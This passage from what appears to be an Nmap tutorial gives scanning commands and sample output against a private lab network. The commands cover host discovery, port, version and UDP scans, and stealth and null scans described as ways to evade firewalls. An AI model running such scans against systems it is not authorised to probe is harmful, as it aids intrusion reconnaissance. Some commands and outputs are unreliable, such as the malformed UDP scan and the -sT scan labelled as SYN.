Nmap finished: 1 IP address (1 host up) scanned in 0.399 seconds

13. Find out Live hosts in a Network

With the help of “-sP” option we can simply check which hosts are live and up in Network, with this option nmap skips port detection and other things.

[root@server1 ~]# nmap -sP 192.168.0.*

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 11:01 EST
Host server1.tecmint.com (192.168.0.100) appears to be up.
Host server2.tecmint.com (192.168.0.101) appears to be up.
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
Nmap finished: 256 IP addresses (2 hosts up) scanned in 5.109 seconds

14. Perform a Fast Scan

You can perform a fast scan with “-F” option to scans for the ports listed in the nmap-services files and leaves all other ports.

[root@server1 ~]# nmap -F 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:47 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1234 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.322 seconds

15. Find Nmap version

You can find out Nmap version you are running on your machine with “-V” option.

[root@server1 ~]# nmap -V

Nmap version 4.11 ( http://www.insecure.org/nmap/ )
You have new mail in /var/spool/mail/root

16. Scan Ports Consecutively

Use the “-r” flag to don’t randomize.

[root@server1 ~]# nmap -r 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:52 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.363 seconds

17. Print Host interfaces and Routes

You can find out host interface and route information with nmap by using “–iflist” option.

[root@server1 ~]# nmap --iflist

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:07 EST
************************INTERFACES************************
DEV  (SHORT) IP/MASK          TYPE     UP MAC
lo   (lo)    127.0.0.1/8      loopback up
eth0 (eth0)  192.168.0.100/24 ethernet up 08:00:27:11:C7:89

**************************ROUTES**************************
DST/MASK      DEV  GATEWAY
192.168.0.0/0 eth0
169.254.0.0/0 eth0

In above output, you can see that map is listing interfaces attached to your system and their respective routes.

18. Scan for specific Port

There are various options to discover ports on remote machine with Nmap. You can specify the port you want nmap to scan with “-p” option, by default nmap scans only TCP ports.

[root@server1 ~]# nmap -p 80 server2.tecmint.com

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:12 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) sca

19. Scan a TCP Port

You can also specify specific port types and numbers with nmap to scan.

[root@server1 ~]# nmap -p T:8888,80 server2.tecmint.com

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:15 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
PORT     STATE SERVICE
80/tcp   open  http
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.157 seconds

20. Scan a UDP Port

[root@server1 ~]# nmap -sU 53 server2.tecmint.com

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:15 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
PORT     STATE SERVICE
53/udp   open  http
8888/udp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.157 seconds

21. Scan Multiple Ports

You can also scan multiple ports using option “-p“.

[root@server1 ~]# nmap -p 80,443 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 10:56 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.190 seconds

22. Scan Ports by Network Range

You can scan ports with ranges using expressions.

[root@server1 ~]#  nmap -p 80-160 192.168.0.101

23. Find Host Services version Numbers

We can find out service’s versions which are running on remote hosts with “-sV” option.

[root@server1 ~]# nmap -sV 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:48 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.3 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.2.3 ((CentOS))
111/tcp  open  rpcbind  2 (rpc #100000)
957/tcp  open  status   1 (rpc #100024)
3306/tcp open  mysql   MySQL (unauthorized)
8888/tcp open  http    lighttpd 1.4.32
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 12.624 seconds

24. Scan remote hosts using TCP ACK (PA) and TCP Syn (PS)

Sometimes packet filtering firewalls blocks standard ICMP ping requests, in that case, we can use TCP ACK and TCP Syn methods to scan remote hosts.

[root@server1 ~]# nmap -PS 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:51 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds
You have new mail in /var/spool/mail/root

25. Scan Remote host for specific ports with TCP ACK

[root@server1 ~]# nmap -PA -p 22,80 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:02 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.166 seconds
You have new mail in /var/spool/mail/root

26. Scan Remote host for specific ports with TCP Syn

[root@server1 ~]# nmap -PS -p 22,80 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:08 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.165 seconds
You have new mail in /var/spool/mail/root

27. Perform a stealthy Scan

[root@server1 ~]# nmap -sS 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:10 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.383 seconds
You have new mail in /var/spool/mail/root

28. Check most commonly used Ports with TCP Syn

[root@server1 ~]# nmap -sT 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:12 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.406 seconds
You have new mail in /var/spool/mail/root

29. Perform a tcp null scan to fool a firewall

[root@server1 ~]# nmap -sN 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 19:01 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE         SERVICE
22/tcp   open|filtered ssh
80/tcp   open|filtered http
111/tcp  open|filtered rpcbind
957/tcp  open|filtered unknown
3306/tcp open|filtered mysql
8888/tcp open|filtered sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 1.584 seconds
You have new mail in /var/spool/mail/root

That’s it with NMAP for now, I’ll be coming up more creative options of NMAP in our second part of this serious. Till then, stay tuned with us and don’t forget to share your valuable comments.

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